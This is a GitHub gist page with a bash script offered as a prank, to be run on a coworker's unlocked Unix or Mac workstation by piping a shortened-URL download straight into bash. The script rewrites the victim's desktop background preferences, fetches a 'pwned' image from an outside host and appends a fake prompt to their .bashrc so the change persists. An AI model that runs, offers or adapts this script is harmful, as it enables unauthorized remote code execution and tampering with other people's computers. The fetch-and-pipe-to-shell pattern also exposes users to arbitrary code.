Skip to content

Instantly share code, notes, and snippets.

@RichardBronosky
Created November 16, 2010 18:02
Show Gist options
  • Star 0 You must be signed in to star a gist
  • Fork 1 You must be signed in to fork a gist
  • Save RichardBronosky/702175 to your computer and use it in GitHub Desktop.
Save RichardBronosky/702175 to your computer and use it in GitHub Desktop.
When a someone fails to lock their screen, curl this file and pipe it to bash to teach them a lesson.
# This is the one stop prank script for unattended Unix-like workstations.
# Use it with the simple one-liner:
# curl -L j.mp/__lys | bash
linux_specific(){
echo "Doing Linux-specific pwnage..."
true
}
mac_specific(){
echo "Doing Mac-specific pwnage..."
setBackground(){
for k in $(/usr/libexec/PlistBuddy -c "print Background" Library/Preferences/com.apple.desktop.plist | awk '/^ [a-zA-Z0-9]/{print $1}') default; do
/usr/libexec/PlistBuddy -c "Delete Background:$k:ImageFilePath" Library/Preferences/com.apple.desktop.plist
/usr/libexec/PlistBuddy -c "Delete Background:$k:NewChangePath" Library/Preferences/com.apple.desktop.plist
/usr/libexec/PlistBuddy -c "Delete Background:$k:NewImageFilePath" Library/Preferences/com.apple.desktop.plist
/usr/libexec/PlistBuddy -c "Delete Background:$k:Placement" Library/Preferences/com.apple.desktop.plist
/usr/libexec/PlistBuddy -c "Add Background:$k:ImageFilePath string $1" Library/Preferences/com.apple.desktop.plist
/usr/libexec/PlistBuddy -c "Add Background:$k:Placement string SizeToFit" Library/Preferences/com.apple.desktop.plist
done
killall Dock
}
}
common(){
echo "Doing common pwnage..."
# pwn desktop background
curl -L http://f.cl.ly/items/3G1P3p2F3c1R2c2E3C3U/You_just_got_pwned.jpeg -o ~/Downloads/10.jpg
setBackground ~/Downloads/10.jpg
# pwn bash prompt
echo "export PS1='C:${PWD//\//\\\\}> '" >> .bashrc
}
platform=$(uname -s)
if [[ "$platform" == "Linux" ]]; then
linux_specific
elif [[ "$platform" == "Darwin" ]]; then
mac_specific
fi
common
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment